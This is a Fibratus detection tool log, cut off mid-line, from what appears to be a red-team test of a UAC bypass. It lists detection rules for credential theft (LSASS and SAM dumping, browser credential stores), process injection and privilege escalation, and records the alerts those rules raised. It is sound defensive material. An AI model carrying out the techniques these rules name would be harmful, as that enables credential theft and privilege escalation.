C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:38:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:38:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T20:38:53+01:00 level=info msg=bootstrapping with pid 16836. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:38:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false max-buffers=>36 enable-net=>true enable-dns=>false enable-audit-api=>true enable-thread=>true enable-vamap=>true min-buffers=>16 enable-registry=>true enable-image=>true buffer-size=>512 flush-interval=>1s enable-handle=>false enable-threadpool=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 level=>info formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ index-name=>fibratus bulk-workers=>1 flush-period=>1s gzip-compression=>false trace-log=>false template-name=>fibratus timeout=>5s healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ vhost=>/ passive=>false exchange-type=>topic delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus] http=>[ timeout=>5s method=>POST serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] skip-mmaps=>false skip-allocs=>false skip-files=>false fastscan=>true scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:38:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:38:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:39:06+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll]: open C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:40:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:40:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:40:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:40:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:40:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T20:40:40+01:00 level=info msg=bootstrapping with pid 5432. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T20:40:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 enable-dns=>false enable-mem=>false enable-fileio=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-threadpool=>false enable-vamap=>true stack-enrichment=>true enable-net=>true enable-registry=>true enable-image=>true enable-thread=>true max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false template-name=>fibratus sniff=>false index-name=>fibratus flush-period=>1s healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false healthcheck=>true gzip-compression=>false] http=>[ timeout=>5s serializer=>json enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] amqp=>[ enabled=>false vhost=>/ exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s passive=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s enabled=>false skip-allocs=>false excluded-files=>[] skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T20:40:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:40:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T20:40:55+01:00 level=error msg=unable to parse PE exports for module [C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll]: open C:\Fibratus\redteam\byeintegrity5-uac\system32\npmproxy.dll: The system cannot find the path specified. source=symbolize/symbolizer.go:246 +time=2025-11-22T20:40:55+01:00 level=info msg=sending alert: [UAC bypass via CDSSync scheduled task hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-11-22T20:41:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 3273693 + Pid: 6600 + Tid: 7644 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 20:41:44.3782164 +0100 CET + Params: base_address➜ 7ffc1b070000, checksum➜ 65938, default_address➜ 7ffc1b070000, file_path➜ C:\Windows\System32\LocationFrameworkPS.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6600, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6600 + Ppid: 6420 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6600 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6600_OKSNHUASBFVFFWAF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1104 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files 